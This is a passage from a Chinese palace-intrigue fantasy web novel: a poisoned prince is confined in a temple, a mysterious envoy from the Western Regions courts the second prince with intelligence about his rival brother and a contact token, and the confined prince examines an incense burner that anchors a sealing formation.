“王爷如今,就像是被人打上了一个无形的标记,无论藏到哪里,都可能被对方找到!”
“岂有此理!”昭明帝怒喝一声,语气中满是震怒,“敢在朕的儿子身上动手脚,朕定要将这幕后黑手揪出来,**万段!”
石门外传来一阵衣物摩擦的声响,想来是昭明帝气得攥紧了拳头,龙袍下摆扫过地面发出的声音。
周灵薇的声音带着哽咽,却透着坚定:“父皇,不管付出什么代价,都要治好老九!那标记、那气机碎片,总有办法清除的,对不对?”
“有是有,但难如登天。”玄微**叹息一声,“要清除这缕气机,要么找到无缝方匣的同源之物,以‘同源相斥’之理将其引出;要么找到炼制这方匣的根源,从源头破解其气机特性。”
“这两条路,皆是九死一生,且线索渺茫。”
“眼下最稳妥的办法,便是将王爷留在玄机观后山禁地。”他补充道,“禁地地脉清正,阵法严密,不仅能压制气机碎片的活性,还能隔绝外界的窥探,暂时保证王爷的安全。”
“同时,老道会联合孙太医,翻阅观中古籍,寻找破解之法。陛下也可暗中调动力量,追查无缝方匣的来历,以及背后的势力。”
“就依**所言!”昭明帝当机立断,语气恢复了帝王的决断,“即刻加派禁军,严守玄机观后山禁地,没有朕的手谕,任何人不得靠近!”
“孙太医,你带领太医院所有精通毒理、脑腑之症的医官,常驻玄机观,协同**诊治,所需药材、器物,宫中一应供给,绝不耽搁!”
“老臣遵旨!”孙太医恭敬应道。
“灵薇,”
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昭明帝的语气放缓了几分,带着托付,“你留下照拂老九。他若醒来,有任何异常,即刻密奏于朕。”
“记住,关于脑腑气机、无形标记之事,列为最高机密,绝不可外传。”他特意强调,“若是走漏风声,不仅会引起朝野动荡,还可能打草惊蛇,让幕后黑手提前动手。”
“儿臣明白!”周灵薇的声音带着疲惫,却异常坚定。
随后,沉重的脚步声响起,伴随着孙太医的低声叮嘱,渐渐远去——显然是昭明帝带着孙太医离开了。
石门后只剩下玄微**和周灵薇低声商议的声音,大概是在敲定后续的诊治与守卫细节。
石室内,周昕阳缓缓闭上眼,胸口的闷痛与身体的虚弱感依旧强烈,但他的大脑却异常清醒。
脑腑中的气机碎片、无形的标记、同源的邪物……
这场梦境冒险的代价,远比他想象的要惨重。
但他心中没有丝毫后悔。
那枚金色印记的气机轨迹,是解开无缝方匣之谜的关键,更是追查幕后势力的重要线索。
而且,梦境中的遭遇,也让他提前摸清了毒素与阴寒之气的特性,这对现实中的解毒、自保,有着不可估量的作用。
他再次尝试抬起手臂,这一次,或许是孙太医的金针与秘药起了作用,右手终于颤抖着抬了起来,艰难地摸向胸前。
粗麻布下空空如也,怀表、星**那些依仗都不在身边。
但他并不慌张。
真正的底牌,早已被他刻在了脑腑之中——那枚金色印记的每一处纹路、每一缕气机轨迹,都已被他牢牢记住。
他缓缓放下手臂,脑海中开始一遍遍复盘:西域毒草、赤阴矿粉、无缝方匣的金色纹路、脑腑中的气机碎片……
这些线索,似乎都指向了西域。
萨迪克商会!
周昕阳心中闪过这个名字。
萨迪克商会常年往来西域与大虞,消息灵通,或许能查到关于毒草、赤阴矿粉,乃至无缝方匣的线索。
还有阿月,那个神秘的西域女子,她身上似乎藏着不少秘密,或许也与这些邪物有关。
窗外的天光越来越暗,昏黄的光晕渐渐褪去,石室里只剩下香炉中微弱的青烟,以及空气中浓郁的药味。
“不行,不能坐以待毙。”
“要离开这里,想办法弄清楚身上毒性的成分、来源,这样一来,梦境苏醒后,才能第一时间调查清楚。”
“还有时间……”
周昕阳挣扎地爬了起来,朝着走出了房门。
第139章 深夜书房的不速之客
现实世界,京城。
夜已深,漏壶滴答,敲碎了府邸的寂静。
周·炜廷的书房里,烛火摇曳。
跳跃的火光将他的影子拉得很长,投在斑驳的木墙上,像一头蛰伏的困兽。
他身着月白色常服,领口微敞,平日里梳理得一丝不苟的发髻松了几分,显露出几分疲惫与烦躁。
指尖捏着一枚冰凉的玉佩,摩挲许久,指节都泛了白。
桌上的奏折堆得老高,墨迹早已干透,他却一个字也看不进去。
“哼,父皇,你究竟是什么意思?”
周·炜廷低骂一声,猛地将玉佩拍在桌上,发出沉闷的声响。
烛火被震得一晃,险些熄灭。
他是二皇子,原本太子之位,他是无论如何都不敢染指的。
毕竟论资历,朝中不少老臣都是看着太子长大的;论才干,这些年,太子勤勤恳恳,虽无惊天大功,却也稳稳当当,没出过半分差错。
满朝文武,都对这位太子爷颇有赞誉。
可就在前段时间,他和老三被叫回京城,名义上是商讨国事,但明眼人都清楚,这是在给太子爷上眼药,说不准,父皇有了废立之心……
这让他有了新的野望……
难道说,我也可以当太子?
甚至是天子?
可随着日子逐渐过去,周·炜廷发现,父皇似乎并没有打算废立太子,让他们回来,不过是一个态度。
“呵呵!”
“老大啊老大,你可真愚蠢!”
“居然做了这种事?”
“可笑至极!”
“连父皇的意思都揣摩不清楚,也想当皇帝?”
周·炜廷冷笑一声,心中尽是对于这位太子爷的讥讽。
太子还是太害怕了,生怕自己的太子之位不保,做出了不智之举。
造·反兵变?
真以为父皇的宸察院是吃干饭的?
“不过父皇,立长立贤,我究竟哪一点比不过老三?”
“你为什么偏偏不选我呢?”
周·炜廷心中愤怒。
自从太子被废,关入宗人府后,他就心中欢喜,期待着父皇找到他,告诉他,让他成为太子!
可父皇昭明帝,偏偏对老三周焕章另眼相看。
赏赐不断,时常召入宫中议事,甚至把本该交由他打理的京畿卫戍事宜,也隐隐有交给周焕章的意思。
更让他憋屈的是宸察院。
那群狗鼻子一样的东西,整日里像防贼似的盯着他。
他府中稍有异动,不出半日,消息就准能传到父皇耳朵里。
上次不过是和几个老部下喝了顿酒,转天就被父皇召去训了一顿,说他“结党营私,居心叵测”。
“针对,这分明就是故意针对!”
“父皇,你还是想选老三是吧?”
周·炜廷越想越气,胸口像是堵了一团棉絮,闷得发慌。
他实在想不通,自己到底哪里做得不好,竟让父皇如此猜忌提防。
难道就因为周焕章嘴甜,会讨父皇欢心?
还是因为他母妃是父皇曾经最宠爱的淑妃?
不甘与怨怼,像藤蔓一样在心底疯狂滋生,缠绕得他喘不过气。
就在他心绪翻腾之际——
“咚、咚、咚。”
三声轻微的敲门声,突兀地在寂静的书房外响起。
周·炜廷猛地抬头,眼神瞬间变得锐利如刀。
深夜时分,府邸早已宵禁,谁会来他的书房?
是父皇派来的人?
还是宸察院的暗探?
他眉头紧锁,沉声道:“谁?”
语气里带着毫不掩饰的警惕与不耐烦。
门外没有回应。
周·炜廷心中一沉,手悄然摸向了桌下的短刃。
就在他准备再次呵斥时,门外传来一个低沉沙哑的声音,像是经过了特殊处理,辨不出男女老少。
“我是来帮助王爷的。”
帮助我?
周·炜廷瞳孔微缩,心中愈发惊疑。
他冷笑道:“什么人?装神弄鬼的!滚!”
话音刚落,书房的门,竟“吱呀”一声,被人从外面推开了。
一股寒气,随着开门的动作涌入书房,让烛火又是一阵剧烈摇曳。
周·炜廷握紧了桌下的短刃,死死盯着门口的身影。
来人穿着一身纯黑色的夜行衣,头戴斗笠,帽檐压得很低,遮住了大半张脸,只露出一截线条紧绷的下颌。
他的身形挺拔,步伐轻盈,进门时没有发出丝毫声响,显然是个练家子。
“王爷不必紧张。”
神秘人开口,声音依旧沙哑:“我没有恶意,只是来给王爷指一条明路。”
“明路?”周·炜廷冷笑,“本王的路,轮不到外人来指。你再不走,休怪本王不客气!”
他作势要起身,却被神秘人一句话钉在了原地。
“王爷是在为储位之事烦心吧?是在怨陛下偏心三皇子周焕章,怨宸察院步步紧逼?”
神秘人的话语,精准地戳中了周·炜廷的痛处。
周·炜廷的动作一顿,眼神变得更加阴鸷:“你到底是谁?调查本王?”
“我是谁不重要。”
神秘人缓步走到书桌前,停下脚步,帽檐下的目光似乎落在了桌上的奏折上。
“重要的是,我能帮王爷拿到你想要的东西。”
“拿到我想要的?”周·炜廷挑眉,语气带着怀疑,“你能帮我什么?帮我扳倒周焕章?还是帮我让父皇回心转意?”
这些话,他也只敢在深夜独处时在心里想想,从未对任何人说过。
这个神秘人,竟然能一语道破他的心思。
“都能。”
神秘人的回答,简洁而肯定,带着一种不容置疑的诡异自信。
周·炜廷心脏猛地一跳,但立刻被更强的警惕压了下去。他嗤笑一声,身体微微后仰,靠在椅背上,指尖依旧没有离开桌下短刃的刀柄,眼神却如鹰隼般锁定着这个不速之客。
“大言不惭。”周·炜廷冷冷道,“扳倒周焕章?他如今圣眷正浓,在父皇面前比我这个二皇子还要得脸,朝中那些墙头草也多有趋附。”
“让他回心转意?父皇的性子,你当是市井老翁,几句好话就能哄得转圜?”他顿了顿,语气中的讽刺意味更浓,“至于宸察院……阁下既然能神不知鬼不觉地潜入我这王府,想必对宸察院的手段也有所了解。”
“你又如何证明,你不是他们派来,故意设局诱我入瓮的饵?”
这是最现实的疑虑。
宸察院那些鬼蜮伎俩,他并非没有耳闻。
假意投靠,诱人吐露真言,甚至诱导人做出不当之举,再一举擒获,是他们惯用的手法。
眼前这人来得突兀,言语又直指他内心最隐秘的渴望,由不得他不疑。
神秘人似乎对他的质疑早有预料,并未立刻辩解,只是轻轻摇了摇头,帽檐下的阴影微微晃动。“王爷谨慎,理所当然。”
“若在下是宸察院的探子,此刻外面恐怕早已伏兵四起,将王爷这书房围得水泄不通了,何必在此与王爷多费唇舌?”
“或许你们想要的,不止是我几句抱怨,而是更确凿的证据呢?孤是王爷,想要扳倒孤,也不是那么容易的事情!”周·炜廷不为所动。
神秘人沉默了片刻,似乎在斟酌。
书房内一时静得只有烛火偶尔爆开的细微噼啪声,以及两人轻微的呼吸声。
空气仿佛凝固了,带着一种无形的压力。
终于,神秘人缓缓开口,声音依旧沙哑,但语速放慢,带着一种奇特的韵律:“王爷可知,三殿下近来,除了在陛下面前侍奉,暗中还在做一件什么事?”
周·炜廷眼神微凝,没有接话。
“他在秘密调查一桩旧案。”神秘人低声道,“一桩关于……宣宗时期悼恭太子周怀曦的旧案。”
周·炜廷眉头猛地一跳!
悼恭太子?
那个在神御阁记录中,同样患有梦魇之症,最终疯癫自称天子而**的皇太子?
老三查这个做什么?
这陈年旧事,与眼下有何关联?
“他查这个作甚?”周·炜廷忍不住问道,语气中带着一丝他自己都未察觉的急切。
“表面原因,自然是迎合陛下近来对‘梦魇’、‘邪祟’之事的关注,显示其勤勉查案,为君分忧。”神秘人淡淡道,
“但据在下所知,三殿下调查的方向,似乎并非单纯追溯旧案本身,而是更侧重于……”
“当年经手此案的某些人物,以及……从悼恭太子府邸抄没后,部分去向不明的遗物。”
遗物?
周·炜廷心中疑窦丛生。
悼恭太子案是皇室禁忌,当年涉案之人要么**,要么被流放,要么缄口不言。
而那些所谓的遗物,更是讳莫如深,宫中记录语焉不详。
老三查这些,绝不只是为了勤勉那么简单!难道……那些遗物中,有什么特别的东西?
“这与本王何干?”周·炜廷强压心中波澜,故作冷淡。
“王爷莫急。”神秘人似乎轻笑了一下,但那笑声在沙哑的嗓音中显得有些怪异,“三殿下查得很隐秘,甚至动用了其母族淑妃娘娘留下的一些宫中人脉。”
“但百密一疏,他派去暗中接触当年一名被流放老宫人亲属的心腹,已被在下的人请了回来。”
“从那位心腹口中,在下得知,三殿下似乎在寻找一样东西——一枚据说由悼恭太子贴身携带,其疯癫后便不知所踪的……银壳怀表。”
银壳怀表?!
周·炜廷脑中仿佛有什么东西炸开!
他猛地想起,老九周昕阳!
他似乎就有一枚从不离身的银壳怀表!
难道……
“你是说……老九他……”周·炜廷的声音有些发干,“不,不对,老九的银壳怀表,是西域贡品,是西域火罗国上贡给我们大虞的贡品,怎么会是悼恭太子呢?”
“你休要胡说八道!!”
“泽川王殿下是否与悼恭太子有所关联,在下不得而知。”神秘人打断了周·炜廷的猜测,语气微妙,“但三殿下对此事如此上心,甚至不惜动用隐秘力量追查一枚前朝太子的怀表,王爷不觉得奇怪吗?”
“尤其……是在泽川王殿下刚刚卷入邪物案,并因此**昏迷,被送往玄机观静养的这个当口。”
周·炜廷只觉得一股寒气从脚底直冲天灵盖!
他感觉自己仿佛触摸到了一张无形大网的边缘。
老三,老九,悼恭太子,银壳怀表,邪物案,**昏迷……这些看似孤立的事件,被神秘人几句话串联起来,瞬间透出一股令人毛骨悚然的阴谋气息!
老三在查老九?
或者说,在查老九身上可能存在的、与悼恭太子有关的秘密?
甚至……老九的**和昏迷,会不会也与此有关?
是老三下的手?
还是另有其人?
父皇知道吗?
默许吗?
无数个念头在他脑海中疯狂碰撞,让他呼吸都变得急促了几分。
“你……你告诉我这些,想说明什么?”周·炜廷努力让自己的声音听起来平稳。
“说明三殿下的心思,远比王爷看到的要深,他的手,也伸得比王爷想象的更远。”
神秘人缓缓道,“他不仅在陛下面前争宠,在朝中布局,更在暗中调查可能威胁到他,或者可能对他有用的秘密。”
“王爷若还只是盯着明面上的恩宠赏赐,纠结于宸察院的监视,恐怕……等您看清全貌时,早已被排除在局外,甚至……成为别人棋盘上,一颗可以随时舍弃的棋子。”
这话如同一盆冰水,浇在周·炜廷因愤怒和嫉妒而滚烫的心上。
他不得不承认,对方说的有道理。
老三的动作,他竟一无所知!
这说明什么?
说明在情报和隐秘力量的掌控上,他已经落后太多了!
宸察院的监视,或许不仅仅是父皇的猜忌,也可能……是老三在推波助澜?
“你刚才说,你能帮我。”周·炜廷深吸一口气,目光重新聚焦在神秘人身上,少了几分最初的暴戾,多了几分深沉的算计,“除了这些消息,你还能给我什么?具体的帮助。”
“情报,资源,时机。”神秘人言简意赅,“如刚才所言,在下有自己的消息渠道,可以为王爷提供关于三殿下,关于
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朝局,关于西域邪物案,甚至关于……泽川王殿下在玄机观内具体情况的消息。此为一。”
“其二,王爷想必也需要一些……不那么方便由明面上的人去处理的事情。”
“在下恰好认识几个身手不错、嘴巴也严的朋友,只要价钱合适,他们很乐意替王爷分忧。”
“无论是查人,还是……让人闭嘴。”
“其三,”神秘人微微抬头,帽檐下的阴影似乎动了一下,仿佛在直视周·炜廷的眼睛,“当合适的时机出现时,在下会提醒王爷。比如,何时该进,何时该退,何时该示弱以麻痹对手,何时又该……一击必中。”
周·炜廷沉默地听着,每一个字都在他心中激起波澜。
情报,死士,时机……这正是他目前最缺乏,也最渴望的!
尤其是关于老九在玄机观的情况,关于邪物案的内幕,这些被严密封锁的消息,如果真能弄到手,无疑会让他在父皇面前,在朝堂之上,拥有更多的话语权和主动性。
“代价呢?”周·炜廷缓缓问道,声音平静,但紧绷的身体透露出他内心的不平静,“你想要什么?银子?官职?还是……别的?”
“在下所求不多,也不会让王爷为难。”神秘人的声音似乎温和了一些,“只需要王爷的一个承诺,以及未来在一些小事上的行个方便。”
“什么承诺?什么方便?”
“承诺便是,若他日王爷得偿所愿,执掌权柄,需确保西域诸国与我大虞的商路畅通,对往来商旅,尤其是……在下的几位朋友,予以适当的关照与保护,莫要刻意刁难,课以重税。”神秘人道,
“至于方便……或许未来,会有些来自西域的特殊货物,需要经过王爷辖下的关卡,或者需要在京城有个安稳的落脚之处。”
“届时,还望王爷能高抬贵手,通融一二。”
又是西域!周·炜廷心中冷笑,果然如此。
这神秘人背后,必定站着某股西域势力。
他们看中自己的皇子身份和可能的前途,想提前投资,为日后攫取利益铺路。
这是与虎谋皮。
但……他现在,似乎也没有太多更好的选择。
老三步步紧逼,父皇态度暧昧,宸察院虎视眈眈,他若再不做点什么,恐怕真的要被彻底边缘化,甚至……步上老大的后尘也未可知。
风险与机遇并存。
拒绝,可能安全,但也意味着放弃眼前可能破局的机会。
接受,固然危险,却也可能换来绝地翻盘的筹码。
“空口无凭。”周·炜廷沉吟良久,终于开口,语气恢复了皇子的冷静与疏离,“你如何证明,你所说的一切,包括你的能力,都是真的?而非镜花水月,空中楼阁?”
神秘人似乎早就等着他这句话,闻言,缓缓从怀中取出一个扁平的、不过巴掌大小的乌木盒子,轻轻放在书桌上,推向周·炜廷。
“此盒中之物,便是在下送给王爷的见面礼,也是证明。”神秘人道,“盒内有一份名录,记录了近半年来,与三殿下府上或明或暗有过非常规银钱往来、且身份敏感的七个人,包括他们的身份、联络方式,以及经手银钱的大致数额与去向。”
“其中两人,就在王爷您被宸察院特别关照后,与三殿下门下一位清客有过秘密接触。”
“另有一枚令牌,凭此令牌,王爷可于每月朔、望之日,子时前后,前往城西五味斋后巷第三家当铺,出示令牌,道一声西域来的老朋友,自会有人接应,传递消息,或接受王爷的简单委托。”
“当然,初次委托,算是附赠。”
周·炜廷目光死死盯住那个乌木盒子,仿佛那是什么洪水猛兽,又像是致命的诱惑。他没有立刻去碰,只是沉声问:“你就不怕我拿了东西,转头就交给宸察院,或者……根本不履行承诺?”
“怕,自然怕。”神秘人语气平淡,仿佛在说一件与己无关的事,“所以,这只是一份小礼,一次尝试。”
“王爷若觉得无用,或信不过在下的诚意,大可将此盒原封不动地处理掉,或者……交给宸察院。”
“但在下相信,以王爷的聪慧,当能看出其中价值。至于承诺……来日方长,在下有的是耐心,也相信王爷是重诺之人。”
“毕竟,多一个朋友,总好过多一个敌人,尤其是一个……知道些秘密的敌人。”
“王爷,您说呢?”
这已经是近乎赤裸的威胁了。周·炜廷脸色一沉,但终究没有发作。
对方敢来,敢给出这些东西,必然留有后手。
撕破脸,对谁都没好处。
他伸出手,缓缓将那个乌木盒子拿了过来。
盒子入手微沉,冰凉,带着一丝若有若无的奇异冷香。
他没有立刻打开,只是握在手中,感受着那沉甸甸的分量。
“本王……需要考虑。”周昕阳最终说道,没有给出明确的答复。
“理当如此。”神秘人并不意外,微微躬身,“那在下便不打扰王爷清静了。”
“令牌用法与名录真假,王爷一验便知。三日之后,若王爷有意继续合作,可遣一心腹,持令牌前往五味斋,留下口信即可。”
“若王爷无意,此事便到此为止,权当从未发生。”
说完,神秘人不再多言,转身,如同他来时一样,悄无声息地走向门口,拉开房门,身影一闪,便融入了门外的黑暗之中,消失不见。
房门在他身后自动轻轻合拢,严丝合缝。
书房内,再次只剩下周·炜廷一人,以及桌上那跳跃不休的烛火,和他手中那个冰冷的乌木盒子。
他低头,看着盒子,指节因为用力而微微发白。
心中天人交战。
打开,可能是一条通往权力巅峰的险峻捷径,也可能是一个将他拖入万劫不复深渊的陷阱。
不打开,或许能保一时安稳,但眼睁睁看着机会从指尖溜走,看着老三可能一步步登上那个他梦寐以求的位置……
许久,他眼中闪过一丝狠厉与决绝,缓缓掀开了盒盖。
烛光下,盒内静静地躺着一卷极薄的绢纸,以及一枚非金非木、刻着奇异螺旋纹路的暗色令牌。
他拿起那卷绢纸,缓缓展开……
第140章 神秘人的情报
烛光下,绢纸上的墨迹清晰可辨,并非寻常墨汁书写,而是带着一种暗沉的、仿佛凝固血液般的色泽,在跳跃的火光下泛着幽微的光。
字迹工整,甚至带着一种刻板的美感,显然是刻意掩饰了笔迹特征。
周·炜廷屏住呼吸,目光迅速扫过。
纸上列了七个人名,后面附有简短的注释:
王德水,西市隆昌票号三掌柜。
注:去岁腊月,经手一笔五千两白银,来源不明,兑付至城南锦绣绸缎庄名下,该绸缎庄实际东家为三皇子府长史周福之妻弟。三日前,与三皇子府典簿于清风楼二楼雅间密会半时辰。
赵元朗,兵部武库清吏司主事,从六品。
注:其妾室兄,于京郊购置田产三百亩,地契款项来源,疑似经“隆昌票号”周转。上月,其子与三皇子府一名侍卫结伴赴西山狩猎。
刘嬷嬷,原淑妃宫中掌事宫女,已“病故”出宫。
注:现居东城甜水巷,深居简出,然常有不明身份之人夜间拜访。其侄刘旺,现任京兆府捕快,曾数次巧合阻拦针对三皇子名下产业的小规模滋扰。
胡商萨比尔,常驻西市,主营香料、宝石。
注:疑似与西域萨迪克商会有勾连。今年二月,曾向三皇子府进献火罗国白孔雀一对,价值不菲。其商队护卫中,多人疑似身负武功,路数驳杂。
妙手书生吴先生,真名不详,常年混迹于琉璃厂一带,擅摹仿字画、伪造文书。
注:曾为三皇子门下清客伪造过前朝某已故大儒的手书信札数封,用于结交某位喜好金石书画的老翰林。
陈太监,内宫司苑局管事太监。
注:负责部分宫内花草采买。经其手,有数笔非常规开支,用于采购珍奇花木,实际去向不明。与三皇子生母淑妃旧日宫中一名洒扫太监为同乡,往来密切。
柳随风,江湖人称无影盗,轻功卓绝,擅潜行匿迹,近年于京城地下世界颇为活跃。
注:上月十五,曾夜探已被查封的、原悼恭太子一系某罪臣旧邸,该处现由宸察院暗中监视,目的不明。事后,有人见其曾在三皇子某处别院附近出现。
这份名单不长,但信息量极大,触目惊心!
票号掌柜、兵部官员、宫中旧人、西域胡商、伪造高手、内监、江湖大盗……三教九流,五花八门。
更关键的是,名单中点明了这些人与三皇子周焕章之间或明或暗的联系,尤其是那些银钱往来、秘密接触、目的不明,每一个词都像一根毒刺,狠狠扎进周·炜廷的心里,也点燃了他眼中压抑已久的火焰。
尤其是最后那个柳随风和悼恭太子旧邸!
这几乎直接印证了方才神秘人关于老三在秘密调查悼恭太子之事的说法!
而宸察院暗中监视的字样,更是让他心头一凛。
老三的手,竟然伸到了被父皇和宸察院如此忌讳的旧案遗物上?
他想干什么?
寻找什么?
那枚银壳怀表?
如果这名单是真的……不,名单的真实性不难验证。
王德水、赵元朗、刘嬷嬷、陈太监……这些人,他或多或少都有些印象,甚至其中一两个,他还曾试图接触或收买而未果。
只要稍加调查,便能知真伪。
神秘人敢拿出这份名单,恐怕有七八成把握是真的。
周·炜廷的手指微微颤抖,不是因为恐惧,而是因为一种混合着狂喜、愤怒与后怕的复杂情绪。
狂喜于终于抓住了老三如此切实的把柄——结交官员、勾结胡商、蓄养死士、染指宫中、调查禁忌、甚至可能动用江湖人物刺探宸察院监视之地!
任何一条,都足以让老三在父皇面前失分,甚至万劫不复!
愤怒于老三的手竟然伸得这么长,这么深,而自己竟几乎被蒙在鼓里!
后怕于若非这神秘人提醒,自己还在为表面的恩宠得失而烦恼,殊不知对手已在暗中布下如此棋局!
他强压下心头的剧烈波动,将绢纸仔细卷好,放在一旁,又拿起了那枚令牌。
令牌入手沉甸甸,非金非木,触感冰凉中带着一丝温润,似玉非玉,似铁非铁。约莫半个手掌大小,呈不规则的椭圆形,边缘被打磨得光滑。
正面刻着一个复杂的螺旋纹路,那纹路乍看像是某种装饰,但仔细看去,又仿佛蕴含着某种规律,中心一点微微凹陷,颜色略深。
背面则光滑如镜,什么也没有。
周·炜廷翻来覆去看了几遍,看不出这令牌的具体材质和用途,但那种奇特的质感以及正面诡异的螺旋纹,都表明它绝非寻常之物。
这应该就是联系那所谓五味斋后巷第三家当铺的信物了。
他将令牌和绢纸重新放回乌木盒中,却没有盖上盒盖。
烛光映照下,两样东西静静地躺在那里,像是一把钥匙,一把可能打开宝库,也可能打开魔盒的钥匙。
神秘人是谁?
西域势力?
老三的政敌?
还是某个想火中取栗的投机者?
他给自己的这份礼,确实分量不轻,但索取的代价,也绝对不菲。
与西域势力勾结,行方便之门……这是通敌之罪,一旦事发,便是身败名裂,死无葬身之地。
可是……若不借助外力,单凭自己,如何扳倒如今如日中天的老三?
宸察院的监视像枷锁,父皇的偏心像大山,老三的暗中动作又如此诡谲莫测……难道真要眼睁睁看着那张龙椅离自己越来越远?
不!绝不!
周·炜廷的眼神逐渐变得锐利、坚定,甚至带着一丝疯狂。
他是父皇的嫡子,太子被废,他是名正言顺的继承人!
那个位置,本就该是他的!
老三不过是会逢迎、有心机,凭什么踩在自己头上?
还有那个老九,装疯卖傻,看似与世无争,手里却可能握着悼恭太子的秘密,甚至可能与邪物案有牵连……这潭水,越来越浑了。
浑水,才好摸鱼!
他缓缓盖上乌木盒盖,发出轻微的“咔哒”一声。这声音在寂静的书房里格外清晰,仿佛一个决定落下的回响。
他没有立刻唤人,也没有将盒子藏起,只是将它放在书桌最显眼的位置,然后起身,走到窗边,推开了一线缝隙。
深夜的冷风灌入,带着初春夜晚特有的寒意,也让他有些发热的头脑清醒了些。
夜空如墨,只有几颗稀疏的星子闪烁着微光。
王府内一片寂静,巡逻侍卫的灯笼在远处回廊下晃晃悠悠,一切如常。
那个
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神秘的黑衣人,仿佛从未出现过。
但周·炜廷知道,有些东西,已经不一样了。
他不再是那个只能困坐愁城、被动等待父皇垂青或猜忌的二皇子了。
他手里,有了一张牌,一张或许能打破僵局,甚至掀翻棋盘的牌。
风险?当然有。
但机遇,往往与风险并存。
那个位置,从来不是靠等待和安分就能得到的。
老大不够狠,所以他现在在宗人府。
老三够狠,也够聪明,但他周·炜廷,未必就比他差!
如今,他也有了掀桌子的可能。
至于那个神秘人和他背后的西域势力……周·炜廷嘴角勾起一丝冰冷的弧度。
利用,从来都是相互的。
他们想利用自己打开大虞的门户,自己又何尝不能利用他们的资源和情报?
等尘埃落定,鹿死谁手,还未可知。
若是事成……届时,谁是刀俎,谁是鱼肉,可就由他说了算了。
“来人。”周·炜廷关上窗,转身,声音已经恢复了平日的沉稳,甚至带着一丝不容置疑的威严。
书房外立刻响起轻微而迅速的脚步声,他的心腹侍卫统领悄无声息地出现在门口,躬身行礼:“王爷有何吩咐?”
“明日一早,”周·炜廷走回书案后坐下,指尖轻轻敲击着那个乌木盒子,语气平淡无波,“去查几个人。要隐秘,动用我们最可靠的那条线,不要让任何人察觉,尤其是宸察院。”
他报出了名单上的前三个名字:王德水、赵元朗、刘嬷嬷。
“查清楚他们近半年的行踪、银钱往来、接触过哪些特别的人。尤其是那个刘嬷嬷,她‘病故’出宫的细节,以及她现在接触的都是什么人,给本王查个水落石出。”
侍卫统领心头一凛,知道王爷必有深意,毫不犹豫地躬身:“是!属下明白,定不会留下痕迹。”
“还有,”周·炜廷略一沉吟,补充道,“想办法,不着痕迹地查一查,老三府上最近有没有什么异常的人进出,或者,他手下有没有人,在打听……关于前朝,尤其是关于悼恭太子旧事,或者……银壳怀表之类的消息。”
侍卫统领眼中闪过一丝惊疑,但很快压下,再次应诺:“是!”
“去吧。”周·炜廷挥挥手。
侍卫统领悄声退下,书房内再次只剩下周·炜廷一人。
他重新拿起那枚冰冷的螺旋纹令牌,在掌心摩挲着,眼神幽深。
三日之后,五味斋,西域来的老朋友……
他会去的。
但不是亲自去,也不是派心腹去。他需要更谨慎,更隐蔽。他要先验证这份名单的真伪,评估这神秘人的诚意和能力。
也要好好想想,如何与这头来自西域的饿狼周旋,既利用其力,又不被其反噬。
窗外,夜色更浓。
但周·炜廷知道,黎明前的黑暗,往往最为深沉。
而他,已经看到了黑暗尽头,那一线可能属于他的、微弱却诱惑的光。
烛火,不知何时已燃至尽头,噗地一声轻响,熄灭了。
书房陷入一片黑暗。但周·炜廷的眼睛,在黑暗中,却亮得吓人。
第141章 奇妙的精神力
周昕阳挣扎着起身的动作,牵动了全身每一处酸痛的筋骨,也引发了胸腔内一阵剧烈的咳嗽。
他弓着身子,双手死死抓住粗糙的麻布衣襟,咳得撕心裂肺,眼前阵阵发黑,每一次呼吸都带着肺腑火烧火燎般的疼痛。
那纸页上的毒,果然阴狠,不仅侵蚀气血,似乎还伤及了肺脉。
但周昕阳没有停下。
他知道,梦境的时间是宝贵的,也是不可预测的。
玄微**随时可能返回,或者有其他人进来。
他必须趁现在,这难得的、相对自由的片刻,去探索,去获取信息。
周昕阳扶着冰冷的石壁,艰难地挪到门边,侧耳倾听。
门外玄微**和周灵薇的商议声已经低不可闻,似乎已经走远,去安排守卫或查阅古籍了。
门外一片寂静,只有远处隐约传来的、压抑的风声,以及不知从何处传来的、极其轻微的金属摩擦声——或许是禁军巡逻时甲胄的碰撞。
周昕阳深吸一口气,将咳嗽的欲望·强行压下,伸手去推那扇沉重的石门。
石门纹丝不动。
他心中一沉,加了把力,石门依旧没有任何开启的迹象。
显然,这并非普通的门户,而是从外面被某种机括或阵法锁住了。
玄微**和父皇,果然对他采取了最严密的保护——或者说,软禁。
“果然……没那么容易出去。”周昕阳低语,没有太多意外。
他靠在冰冷的石门上,环顾这间简陋却坚固的石室。
唯一的窗户装着粗大的木栅,缝隙窄得连手臂都伸不出去,更别说逃走了。
这里,更像是一个精心打造的囚笼。
但他岂是坐以待毙之人?
目光再次扫过石室,最终定格在墙角那尊静静燃烧的铜制三足香炉上。
炉中青烟袅袅,散发着浓重而奇异的药香。
这香炉……或许不仅仅是用来燃香宁神的。
周昕阳扶着石壁,一步一步挪到香炉旁。
香炉约莫半人高,通体呈暗沉的古铜色,炉身雕刻着简单的云雷纹,样式古朴,与这石室的简陋风格倒也相配。
炉中插着三炷特制的线香,正以极慢的速度燃烧着,释放出那混合了艾草、檀香和多种不明药材的气味。
周昕阳伸出手,想要触碰炉身,但指尖在距离炉身寸许处停了下来。
这香炉摆放在此,绝非随意。
玄机观是钦天监的秘密所在,玄微**精通阵法与奇术,这看似普通的香炉,说不定就与封锁石门的阵法有关,或者……本身就是一个监视或警示的节点。
贸然触碰,很可能立刻惊动外面的人。
周昕阳缩回手,转而仔细观察香炉周围的地面。
石地上积着一层薄薄的灰尘,但在香炉正下方的位置,灰尘的分布却有些异常——靠近炉足的地方几乎没有灰尘,反而形成了一个隐约的、以香炉为中心的、半径约一尺的干净圆形区域。
而在圆形区域的边缘,灰尘的厚度似乎略有增加,形成了一道极其细微的环形痕迹。
“这是……”周昕阳蹲下身,忍住眩晕,凑近细看。那环形痕迹并非自然形成,更像是……经常有什么东西以香炉为中心,按照固定的轨迹旋转、摩擦地面所留下的!
是香炉在动?
还是……
周昕阳突然想起玄微**提到过,这里的地脉清正,有阵法守护。
难道这香炉,就是沟通地脉、维系阵法的一个关键节点?它并非固定不动,而是会随着某种规律,比如地气流转、时辰变化进行微不可察的移动或调整?
这个发现让周昕阳心中一动。
如果香炉是阵法节点,那么它的移动轨迹,或许就隐藏着破解石门封锁,或者至少是暂时干扰阵法、制造漏洞的关键!
“可我该怎么做呢?”
周昕阳强忍着身体的不适,开始了思考。
很快,他有了一个主意。
周昕阳盘膝在香炉旁坐下,闭上眼睛,摒弃杂念,尝试着用自己那点微末的、尚未被完全侵蚀的精神力,去感知香炉周围的气息流动。
起初,什么也感觉不到,只有浓重的药香和身体的痛苦。
